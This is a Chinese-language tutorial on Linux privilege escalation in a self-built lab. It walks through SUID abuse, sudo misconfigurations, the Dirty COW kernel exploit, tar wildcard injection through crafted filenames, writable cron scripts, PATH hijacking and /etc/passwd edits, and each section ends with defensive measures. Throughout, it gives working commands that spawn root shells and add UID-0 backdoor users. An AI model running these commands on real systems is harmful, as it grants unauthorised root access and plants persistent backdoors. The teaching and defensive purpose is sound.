Linux提权
Linux提权
简介:
Linux提权的本质是利用系统配置错误、程序漏洞或设计缺陷,使一个低权限用户(如普通用户)获得执行高权限操作(通常是root权限)的能力。每种提权方式都利用了不同的攻击面
SUID提权
什么是SUID?
SUID 是 Set User ID 的缩写,是Linux/Unix系统中一种特殊的文件权限。它的核心作用是:当用户执行一个带有SUID权限的程序时,该程序会以文件所有者(通常是root)的身份运行,而不是以当前执行用户(普通用户)的身份运行
方式总结
核心原理:利用设置了SUID位的可执行文件。当一个程序设置了SUID位后,任何用户在执行该程序时,其进程的有效用户ID会临时变为该程序所有者的UID。如果该程序所有者是root,那么执行者就获得了root权限。
攻击场景:管理员错误地给一个本不该有高权限的程序(如
find,vim,cp等)设置了SUID权限,或者这些程序本身存在可以被利用的功能(如调用shell)。
给文件添加SUID权限:
1 | chmod u+s 文件名 |
示例:
给/usr/bin/find命令添加SUID权限,使其可以被普通用户利用来提权
- 1.切换到root用户:
1 | sudo su |
- 2.为
find命令添加SUID权限
1 | # 首先确认find的原始权限 |

- 3.创建普通用户用于测试:
1 | # 如果没有普通用户,先创建一个 |
切换到普通用户 su - testuser
执行查找命令 find / -perm -u=s -type f 2>/dev/null,应该能看到 /usr/bin/find 出现在列表中

验证权限:

- 提权关键:找到一个具有SUID权限的程序,并利用它执行一个系统命令或启动一个shell。
- 防御措施:
- 定期审计系统中的SUID文件:
find / -perm -4000 -type f 2>/dev/null。 - 移除非必要文件的SUID权限:
chmod u-s /path/to/file。 - 确保只有绝对必要的程序(如
passwd,sudo,su)拥有SUID权限
- 定期审计系统中的SUID文件:
sudo提权
方式总结:
- 核心原理:Sudo提权是Linux提权中非常常见的一种方式,核心思路是:利用
/etc/sudoers配置文件的错误配置,让普通用户能够以root权限执行某些危险命令,从而获得完整的root shell。 - 攻击场景
- 无密码执行特定程序:
testuser ALL=(ALL) NOPASSWD: /usr/bin/python。 - 无密码执行所有命令:
testuser ALL=(ALL) NOPASSWD: ALL(极其危险)。 - 利用程序自身功能:如
less,vim,more等程序在sudo执行时,可以通过其内部的shell执行功能(如!bash)来获取一个root shell。
- 无密码执行特定程序:
示例:
手动编辑
/etc/sudoers文件,模拟配置文件出错1
2
3
4
5
6
7
8# 使用vim命令进行编辑,它会在保存前检查语法,防止锁死系统
vim /etc/sudoers
在文件末尾添加以下两行:
# 允许testuser无密码执行python
testuser ALL=(ALL) NOPASSWD: /usr/bin/python
# 允许testuser无密码执行less
testuser ALL=(ALL) NOPASSWD: /usr/bin/less

testuser |
用户/组 | 指定规则应用的用户 |
|---|---|---|
ALL |
主机名 | 在所有主机上生效(通常是ALL) |
=(ALL) |
目标用户 | 可以以任何用户身份执行(通常省略为root) |
NOPASSWD: |
免密码标签 | 执行sudo时不需要输入密码 |
/usr/bin/python |
命令路径 | 允许执行的具体命令 |
添加这个配置后普通用户testuser可以执行:sudo /usr/bin/python xxx.py和/usr/bin/less,并且不需要输入提升为root用户权限的密码,但这里的演示仅限于/usr/bin/python和/usr/bin/less
执行命令:
切换到普通用户 su - testuser
- 验证sudo权限:
sudo -l,应该能看到刚才配置的两条规则 - 执行提权命令
sudo python -c 'import pty;pty.spawn("/bin/bash")',应该能获得root shell
1 | 原理:python是一个完整的编程语言解释器,本身就具备执行操作系统命令的能力。用sudo让它以root身份运行,它执行的任何命令自然都拥有root权限 |

如图所示,执行之后由普通用户testuser变为了root
- 执行提权命令
sudo less /etc/hosts,在less界面输入!bash并回车,也能获得root shell

1 | 原理:less是一个文本查看器,为了方便用户操作,它内置了可以执行外部shell命令的功能。用sudo以root身份运行less后,它内部调用的任何命令都会继承root权限 |
- 提权关键:查看
sudo -l,找到自己被允许执行的命令,并研究如何通过该命令绕过限制执行任意代码或获取shell。 - 防御措施
- 严格编写
/etc/sudoers文件,遵循最小权限原则。 - 避免使用
NOPASSWD,除非在高度受控的自动化环境中。 - 避免直接授权脚本解释器(如
python,perl,bash)。 - 使用
visudo编辑文件,避免语法错误。
- 严格编写
内核漏洞提权
方式总结
核心原理:COW机制的逻辑缺陷
Linux内核的**写时复制(Copy-On-Write)**机制规定:
- 当多个进程共享同一块只读内存页时,如果某个进程要写入数据,内核会为该进程创建一份独立的物理页副本,然后允许写入。
- 但脏牛漏洞利用的是:在创建副本的过程中,内核存在一个竞争条件窗口。攻击者可以通过多线程并发操作,让内核在极短的时间内,错误地将原本只读的页标记为可写,从而直接修改原始内存页内容。
攻击场景:目标系统长期未更新,运行着一个存在已知漏洞的旧版内核
示例
1.选择目标虚拟机:推荐使用一个旧版本的Ubuntu,例如 Ubuntu 16.04.1。这个版本默认搭载的内核版本(如4.4.0-21)受“脏牛”(CVE-2016-5195)漏洞影响
2.安装虚拟机:在VirtualBox或VMware中安装Ubuntu 16.04.1。安装时不要选择在线更新,以保持其原始内核版本
3.确认内核版本:
1 | uname -a |
- 4.操作
在Kali上,使用searchsploit搜索“脏牛”漏洞:searchsploit dirty cow
选择一个可靠的EXP,例如40847.c或40839.cpp
将EXP文件下载或传输到目标Ubuntu虚拟机中(可以使用scp、wget或直接复制粘贴)
在Ubuntu上编译并执行EXP:
1 | # 假设EXP文件名为40847.c |
如果EXP成功运行,它会修改/etc/passwd文件,将firefart用户(或其他指定用户)的密码清空或设置为新密码,并赋予其root权限。之后su firefart即可登录root shell
1 | 篡改/etc/passwd实现提权 |
- 提权关键
- 信息收集:获取系统内核版本(
uname -a)、发行版信息(lsb_release -a或cat /etc/os-release) - 漏洞搜索:在Kali攻击机上,使用
searchsploit或在线漏洞数据库(如Exploit-DB)查找对应内核版本的提权EXP(漏洞利用代码) - 编译与执行:将EXP代码传输到目标机,进行编译(通常是C语言),然后执行。如果成功,将获得root权限
- 信息收集:获取系统内核版本(
- 防御措施
- 及时更新系统:这是最根本、最有效的防御方法。
sudo apt update && sudo apt upgrade(Ubuntu) 或sudo yum update(CentOS) - 内核安全模块:启用SELinux或AppArmor等,可以增加漏洞利用的难度
- 最小化安装:减少不必要的内核模块和软件包,降低攻击面
- 及时更新系统:这是最根本、最有效的防御方法。
Cronjobs 提权
方式总结
核心原理:利用
cron定时任务配置中的错误。cron 是 Linux/Unix 系统下一个基于时间的任务调度器。它的核心功能就是让系统在指定的时间或周期性地自动执行预定的命令或脚本攻击场景
- 通配符注入:一个以root权限运行的
cron任务中使用了通配符(如*),并且调用了可以被参数劫持的命令(如tar,rsync,chmod)。攻击者可以创建带有特殊名称的文件(如--checkpoint-action=exec=sh script.sh),这些文件名会被命令误认为是参数,从而执行恶意代码
示例:
场景:
1
2
3
4系统里有一个Cron任务,以root身份定时执行 tar -czf /backup.tar.gz /data/*
把 /data/ 目录下的所有文件打包压缩成一个名为 /backup.tar.gz 的归档文件
他对 /data/ 目录有写入权限(可以创建文件)1.创建两个特殊文件
在
/data/目录下,攻击者执行以下命令:bash
1
2touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=sh /tmp/evil.sh'这两个文件名看起来很奇怪,但它们是合法的Linux文件名。
--的作用是告诉命令“后面的内容不要当作选项解析”,只是为了正常创建文件。现在
/data/目录下有了三个文件:- 正常的文件(比如
file1.txt) --checkpoint=1--checkpoint-action=exec=sh /tmp/evil.sh
2.等待Cron任务执行
到了晚上12点,Cron任务触发,Shell开始执行这条命令:
1
tar -czf /backup.tar.gz /data/*
但在执行
tar之前,Shell先把/data/*展开成该目录下所有文件的名字:1
tar -czf /backup.tar.gz /data/file1.txt /data/--checkpoint=1 /data/--checkpoint-action=exec=sh /tmp/evil.sh
3.tar命令被“欺骗”
当
tar命令收到这些参数时,它看到的不是“三个文件”,而是:- 要打包的文件:
/data/file1.txt - 一个选项参数:
--checkpoint=1 - 一个选项参数:
--checkpoint-action=exec=sh /tmp/evil.sh
--checkpoint=1的意思是“每处理完1个文件后触发一次检查点”,--checkpoint-action=exec=sh /tmp/evil.sh的意思是“在检查点触发时执行/tmp/evil.sh这个脚本”。于是,
tar在正常打包file1.txt的过程中,就“奉命”以 root 权限去执行了/tmp/evil.sh。4.恶意脚本获得root权限
攻击者早就把
/tmp/evil.sh写好了,比如:1
2
3
4
# 添加一个root权限的用户
useradd -o -u 0 -g 0 hack
echo "hack:123456" | chpasswd因为这个脚本是被 root 权限的
tar调用的,所以它执行时也拥有 root 权限,于是攻击者成功在系统里创建了一个 UID=0 的超级用户,提权完成2.可写脚本/目录:可写脚本和目录的利用,是利用文件权限配置错误实现的提权方式。其核心逻辑非常直接:找到一个以root身份定期执行的脚本文件,或者该脚本所在的目录,而你有权限修改它们,那你就能让脚本执行任何你想要的恶意代码
- 通配符注入:一个以root权限运行的
场景:如果Cron任务直接调用了一个脚本,而这个脚本文件对普通用户开放了写入权限,攻击过程就很简单
假设管理员设置了一个Cron任务,每天凌晨3点执行清理日志的脚本:
1 | 0 3 * * * /usr/local/bin/cleanup_logs.sh |
而这个 cleanup_logs.sh 文件,权限设置错误,允许所有用户写入:
1 | # 比如权限是 666 或 777 |
攻击者(普通用户)可以执行以下操作:
- 编辑该脚本,在末尾追加恶意代码:
1 | echo "useradd -o -u 0 hack && echo 'hack:123456' | chpasswd" >> /usr/local/bin/cleanup_logs.sh |
- 等待Cron在凌晨3点自动执行这个脚本。
- 因为脚本是以root身份运行的,追加的
useradd命令也会以root权限执行,从而在系统中创建一个UID=0的超级用户hack。 - 攻击者用
su hack切换到该用户,密码为123456,即可获得root shell
- 提权关键:找到存在配置缺陷的
cron任务,并利用该缺陷植入后门或直接执行提权命令。 - 防御措施
- 在
cron任务中,避免使用通配符,如果必须使用,请使用完整路径。 - 确保
cron任务执行的脚本和目录权限严格,仅对root可写。 - 在脚本中使用绝对路径,避免
PATH劫持。
- 在
环境变量提权
方式总结
核心原理:劫持
$PATH环境变量。当一个SUID程序或sudo执行的脚本内部调用了一个不带绝对路径的命令时,系统会根据$PATH变量的顺序来查找该命令。攻击者可以修改$PATH,将一个恶意程序放在优先查找的目录中,从而诱骗高权限程序执行恶意代码攻击场景:一个具有SUID权限的程序(由管理员自己编写或编译)在代码中调用了系统命令(如
cat,ls)但未使用绝对路径(如/bin/cat)。
环境变量:
PATH 是Linux系统里的一个重要环境变量,它存储了一串目录路径,用冒号分隔:
1 | echo $PATH |

当我们在终端输入一个命令(比如 ls)时,系统会按照 PATH 中列出的目录顺序,逐个去这些目录下查找名为 ls 的可执行文件,找到就执行。如果都没有找到,就报错 command not found。
关键点:查找顺序是从左到右的。靠前的目录优先级更高。
示例:
假设管理员设置了一个Cron任务,每天凌晨3点执行一个名为 backup.sh 的脚本:
1 | 0 3 * * * backup.sh |
注意:这里写的是 backup.sh 而不是 /usr/local/bin/backup.sh,也就是说没有使用绝对路径
系统在执行这个Cron任务时,会按照Cron的 PATH 环境变量(通常定义在 /etc/crontab 或系统默认配置中)去查找 backup.sh。默认情况下,这个 PATH 是:
1 | PATH=/usr/local/bin:/usr/bin:/bin |
利用:
- 1.在
/usr/local/bin/目录下,攻击者创建了一个名为backup.sh的脚本:
1 | cd /usr/local/bin/ |
这个脚本的作用是:把 /bin/bash 复制一份到 /tmp/rootbash,然后给它设置 SUID 权限(+s)。一旦设置成功,任何用户运行 /tmp/rootbash 时,都会以文件所有者(即root)的身份运行
- 2.等待Cron触发
到了凌晨3点,Cron任务 backup.sh 触发。系统按照 PATH 的顺序查找:
- 先去
/usr/local/bin找 → 找到了攻击者创建的backup.sh - 直接执行它(以root权限)
因为Cron以root身份运行,所以这个恶意脚本也是以root权限执行的。
- 3.攻击者获得root shell
攻击者在普通用户Shell中执行:
1 | /tmp/rootbash -p |
-p 参数让bash保留SUID权限,于是攻击者就得到了一个root身份的Shell,提权成功。
完整流程:
1 | 管理员配置了Cron任务: backup.sh (使用相对路径) |
- 提权关键
- 找到一个存在此缺陷的SUID程序。
- 修改
$PATH环境变量,将一个可控目录(如/tmp)置于最前。 - 在该目录下创建一个与程序调用的命令同名的恶意文件(如
cat)。 - 执行SUID程序,它会优先执行你的恶意
cat。
- 防御措施
- 在编写SUID程序或
sudo脚本时,始终使用命令的绝对路径。 - 在脚本开始时,可以重置或清理
$PATH变量为一个安全的值,如PATH=/bin:/sbin:/usr/bin:/usr/sbin。
- 在编写SUID程序或
etc/passwd提权
方式总结
- 核心原理:攻击者通过某种方式获得了对
/etc/passwd文件的写入权限,然后直接修改该文件,添加一个 UID=0 的用户或修改 root 用户的密码占位符,从而获得 root 权限 - 攻击场景:系统管理员错误地执行了
chmod 666 /etc/passwd或类似操作,导致该文件全局可写。这种情况在现代系统中极为罕见,因为/etc/passwd的写权限受到严格保护,且用户密码实际存储在/etc/shadow中
/etc/passwd 是Linux系统中存储用户账户信息的核心文件。它记录了系统中所有用户的基本信息,每行代表一个用户,格式如下:
text
1 | 用户名:密码占位符:UID:GID:用户描述:家目录:登录Shell |
利用:
- 一:直接添加一个新的 root 用户
在 /etc/passwd 末尾追加一行:
1 | hack::0:0:root:/root:/bin/bash |
注意:这里的密码占位符是空的(两个冒号之间没有任何内容),意味着这个用户没有密码。
验证:
bash
1 | su hack |
直接回车,不需要密码,即可获得 root 权限(因为 UID=0)。
二:修改 root 用户的密码占位符
如果 root 用户的密码占位符是 x,说明密码存储在 /etc/shadow 中。攻击者可以:
- 先用
openssl生成一个已知密码的哈希值:
1 | openssl passwd -1 -salt abc 123456 |
输出类似:
1 | $1$abc$6NlI7ZbH.CdE5lM5dZ5wN1 |
- 然后修改
/etc/passwd中的 root 行,把密码占位符替换成这个哈希值:
1 | root:$1$abc$6NlI7ZbH.CdE5lM5dZ5wN1:0:0:root:/root:/bin/bash |
- 然后攻击者可以用
su root并输入密码123456来登录 root
- 三:利用可写密码字段(较古老的手法)
在非常古老的Unix系统上,/etc/passwd 的第二字段直接存储加密后的密码(而不是 x)。如果攻击者能写入该字段,就能直接修改密码。
现代Linux系统已经改用 /etc/shadow 单独存储密码哈希,且只有root可读,所以这种手法在默认配置下已不适用。
- 提权关键
- 确认
/etc/passwd文件可写。 - 生成一个符合格式的、UID/GID为0的密码哈希。
- 将新用户条目追加到
/etc/passwd文件末尾。 - 使用新创建的用户名和密码登录。
- 确认
- 防御措施
- 确保
/etc/passwd文件权限为-rw-r--r--(644),且所有者为root。 - 使用
/etc/shadow文件来存储密码,并确保其权限为-rw-r-----(640),仅root和shadow组成员可读。 - 定期检查关键系统文件的权限和完整性(可使用
AIDE或Tripwire等工具)。
- 确保